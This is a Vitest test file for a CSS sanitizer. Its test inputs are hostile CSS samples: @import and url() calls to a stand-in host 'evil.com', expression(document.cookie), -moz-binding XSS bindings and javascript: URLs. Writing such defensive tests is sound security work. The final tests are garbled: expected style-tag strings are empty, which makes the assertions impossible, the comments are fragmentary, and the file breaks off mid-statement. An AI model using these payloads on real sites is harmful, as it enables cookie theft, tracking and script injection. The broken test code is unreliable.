import { describe, it, expect } from "vitest";
import { sanitizeCssOverrides, sanitizeCss } from "../index.js";
// ─── sanitizeCssOverrides ────────────────────────────────────────────────────
describe("sanitizeCssOverrides", () => {
// ── Safe passthrough ──────────────────────────────────────────────────────
it("passes through safe CSS unchanged (structurally)", () => {
const css = ".btn { color: var(--color-primary); font-weight: bold; }";
const { css: result, warnings } = sanitizeCssOverrides(css);
expect(warnings).toHaveLength(0);
// Should contain the key property (generated CSS may vary in whitespace)
expect(result).toContain("color:var(--color-primary)");
expect(result).toContain("font-weight:bold");
});
it("allows relative url() paths", () => {
const css = ".hero { background: url('/static/img/bg.png'); }";
const { css: result, warnings } = sanitizeCssOverrides(css);
expect(warnings).toHaveLength(0);
expect(result).toContain("url(");
});
it("allows @keyframes rules", () => {
const css = "@keyframes fade { from { opacity: 0; } to { opacity: 1; } }";
const { css: result, warnings } = sanitizeCssOverrides(css);
expect(warnings).toHaveLength(0);
expect(result).toContain("opacity");
});
it("allows @media rules", () => {
const css = "@media (max-width: 768px) { body { color: red; } }";
const { css: result, warnings } = sanitizeCssOverrides(css);
expect(warnings).toHaveLength(0);
expect(result).toContain("color:red");
});
it("allows @font-face with relative src", () => {
const css = "@font-face { font-family: MyFont; src: url('/fonts/myfont.woff2'); }";
const { css: result, warnings } = sanitizeCssOverrides(css);
expect(warnings).toHaveLength(0);
expect(result).toContain("font-family");
});
it("returns empty string and no warnings for empty input", () => {
expect(sanitizeCssOverrides("")).toEqual({ css: "", warnings: [] });
expect(sanitizeCssOverrides(" ")).toEqual({ css: "", warnings: [] });
});
// ── @import ───────────────────────────────────────────────────────────────
it("strips @import with url()", () => {
const { css, warnings } = sanitizeCssOverrides(
'@import url("https://evil.com/steal.css");'
);
expect(css).not.toContain("@import");
expect(css).not.toContain("evil.com");
expect(warnings.some((w) => w.includes("@import"))).toBe(true);
});
it("strips @import with bare string", () => {
const { css, warnings } = sanitizeCssOverrides(
'@import "https://evil.com/steal.css";'
);
expect(css).not.toContain("@import");
expect(warnings.some((w) => w.includes("@import"))).toBe(true);
});
it("strips multiple @import rules", () => {
const input = [
'@import "https://evil.com/a.css";',
".btn { color: red; }",
'@import url("https://evil.com/b.css");',
].join("\n");
const { css, warnings } = sanitizeCssOverrides(input);
expect(css).not.toContain("@import");
expect(css).toContain("color:red");
expect(warnings.filter((w) => w.includes("@import"))).toHaveLength(2);
});
it("strips @IMPORT with uppercase obfuscation", () => {
// CSS keywords are case-insensitive per spec. The sanitizer normalizes via
// node.name.toLowerCase() before comparison, so @IMPORT is caught even if
// css-tree preserves the original casing in the AST node name.
const { css, warnings } = sanitizeCssOverrides(
'@IMPORT "https://evil.com/steal.css";'
);
expect(css).not.toContain("evil.com");
expect(warnings.some((w) => w.includes("@import"))).toBe(true);
});
// ── external url() in declarations ───────────────────────────────────────
it("strips declarations with http:// url()", () => {
const { css, warnings } = sanitizeCssOverrides(
'body { background: url("http://evil.com/track.gif"); }'
);
expect(css).not.toContain("evil.com");
expect(warnings.some((w) => w.includes("background"))).toBe(true);
});
it("strips declarations with https:// url()", () => {
const { css, warnings } = sanitizeCssOverrides(
"body { background-image: url(https://evil.com/steal.gif); }"
);
expect(css).not.toContain("evil.com");
expect(warnings.some((w) => w.includes("background-image"))).toBe(true);
});
it("strips declarations with protocol-relative // url()", () => {
const { css, warnings } = sanitizeCssOverrides(
"body { background: url(//evil.com/steal.gif); }"
);
expect(css).not.toContain("evil.com");
expect(warnings.length).toBeGreaterThan(0);
});
it("strips content: url() on pseudo-elements", () => {
const { css, warnings } = sanitizeCssOverrides(
".el::before { content: url('https://evil.com/pixel.gif'); }"
);
expect(css).not.toContain("evil.com");
expect(warnings.some((w) => w.includes("content"))).toBe(true);
});
// ── data: URIs ────────────────────────────────────────────────────────────
it("strips declarations with data: URI", () => {
const { css, warnings } = sanitizeCssOverrides(
'body { background: url("data:text/html,"); }'
);
expect(css).not.toContain("data:");
expect(warnings.length).toBeGreaterThan(0);
});
it("strips declarations with data: URI (unquoted)", () => {
const { css, warnings } = sanitizeCssOverrides(
"body { background: url(data:image/svg+xml;base64,PHN2Zy8+); }"
);
expect(css).not.toContain("data:");
expect(warnings.length).toBeGreaterThan(0);
});
// ── @font-face with external src ─────────────────────────────────────────
it("strips @font-face with external https src", () => {
const { css, warnings } = sanitizeCssOverrides(
'@font-face { font-family: Evil; src: url("https://evil.com/font.woff2"); }'
);
expect(css).not.toContain("@font-face");
expect(css).not.toContain("evil.com");
expect(warnings.some((w) => w.includes("@font-face"))).toBe(true);
});
it("strips @font-face with external http src", () => {
const { css, warnings } = sanitizeCssOverrides(
'@font-face { font-family: Evil; src: url("http://evil.com/font.woff2"); }'
);
expect(css).not.toContain("@font-face");
expect(warnings.some((w) => w.includes("@font-face"))).toBe(true);
});
// ── expression() ─────────────────────────────────────────────────────────
it("strips declarations with expression()", () => {
const { css, warnings } = sanitizeCssOverrides(
"body { color: expression(document.cookie); }"
);
expect(css).not.toContain("expression(");
expect(css).not.toContain("document.cookie");
expect(warnings.some((w) => w.includes("color"))).toBe(true);
});
it("strips declarations with expression() in width", () => {
const { css, warnings } = sanitizeCssOverrides(
"div { width: expression(alert(1)); }"
);
expect(css).not.toContain("expression(");
expect(warnings.some((w) => w.includes("width"))).toBe(true);
});
it("strips EXPRESSION() with uppercase obfuscation", () => {
// The sanitizer normalizes via inner.name.toLowerCase() before comparison,
// so EXPRESSION() is caught regardless of how css-tree stores the function name.
const { css, warnings } = sanitizeCssOverrides(
"div { width: EXPRESSION(alert(1)); }"
);
expect(css).not.toContain("EXPRESSION(");
expect(css).not.toContain("alert(");
expect(warnings.some((w) => w.includes("width"))).toBe(true);
});
// ── dangerous properties ──────────────────────────────────────────────────
it("strips -moz-binding property", () => {
const { css, warnings } = sanitizeCssOverrides(
'body { -moz-binding: url("https://evil.com/xss.xml#xss"); }'
);
expect(css).not.toContain("-moz-binding");
expect(css).not.toContain("evil.com");
expect(warnings.some((w) => w.includes("-moz-binding"))).toBe(true);
});
it("strips behavior property", () => {
const { css, warnings } = sanitizeCssOverrides(
"body { behavior: url('evil.htc'); }"
);
expect(css).not.toContain("behavior");
expect(warnings.some((w) => w.includes("behavior"))).toBe(true);
});
it("strips -webkit-binding property", () => {
const { css, warnings } = sanitizeCssOverrides(
'body { -webkit-binding: url("evil.xml"); }'
);
expect(css).not.toContain("-webkit-binding");
expect(warnings.some((w) => w.includes("-webkit-binding"))).toBe(true);
});
// ── javascript: URL ───────────────────────────────────────────────────────
it("strips declarations with javascript: URL", () => {
const { css, warnings } = sanitizeCssOverrides(
"body { background: url('javascript:alert(1)'); }"
);
expect(css).not.toContain("javascript:");
expect(warnings.length).toBeGreaterThan(0);
});
// ── mixed safe + unsafe ───────────────────────────────────────────────────
it("strips only the dangerous declarations, preserves safe ones", () => {
const input = [
".btn { color: red; }",
'body { background: url("https://evil.com/track.gif"); }',
".card { font-size: 14px; }",
].join("\n");
const { css, warnings } = sanitizeCssOverrides(input);
expect(css).toContain("color:red");
expect(css).toContain("font-size:14px");
expect(css).not.toContain("evil.com");
expect(warnings).toHaveLength(1);
});
it("strips unsafe inside @media but keeps the @media rule", () => {
const input = `
@media (max-width: 768px) {
body { background: url('https://evil.com/track.gif'); }
.btn { color: red; }
}
`;
const { css, warnings } = sanitizeCssOverrides(input);
expect(css).toContain("@media");
expect(css).not.toContain("evil.com");
expect(css).toContain("color:red");
expect(warnings).toHaveLength(1);
});
// ── warnings list ─────────────────────────────────────────────────────────
it("returns a warning for each stripped construct", () => {
const input = [
'@import "https://evil.com/a.css";',
"body { background: url('https://evil.com/b.gif'); }",
"body { color: expression(x); }",
].join("\n");
const { warnings } = sanitizeCssOverrides(input);
expect(warnings).toHaveLength(3);
});
// ── performance ───────────────────────────────────────────────────────────
it("sanitizes reasonable CSS in under 50ms", () => {
// ~50 rules — a realistic CSS overrides block
const rules = Array.from({ length: 50 }, (_, i) =>
`.class-${i} { color: var(--color-${i}); margin: ${i}px; }`
).join("\n");
const start = Date.now();
sanitizeCssOverrides(rules);
expect(Date.now() - start).toBeLessThan(50);
});
});
// ─── sanitizeCss (render-time wrapper) ───────────────────────────────────────
describe("sanitizeCss", () => {
it("returns only the CSS string (no warnings object)", () => {
const result = sanitizeCss(".btn { color: red; }");
expect(typeof result).toBe("string");
expect(result).toContain("color:red");
});
it("strips dangerous content and returns safe string", () => {
const result = sanitizeCss('@import "https://evil.com/steal.css"; .ok { color: red; }');
expect(result).not.toContain("@import");
expect(result).toContain("color:red");
});
it("discards malformed CSS containing raw (parse error → fail closed)", () => {
// Raw is invalid CSS syntax — css-tree's onParseError fires,
// and the fail-closed policy discards the entire input for security.
const result = sanitizeCss('body { color: red; } ');
expect(result).not.toContain("");
expect(result).toBe("");
});
it("strips from CSS string literal values (HTML parser injection vector)", () => {
// A CSS string literal containing is valid CSS that passes parsing.
// Without post-processing, generate() reproduces it verbatim and the HTML
// parser would end the that follows it stays as harmless
// CSS text inside the style block and cannot execute.
const result = sanitizeCss('.foo::before { content: ""; }');
expect(result).not.toContain("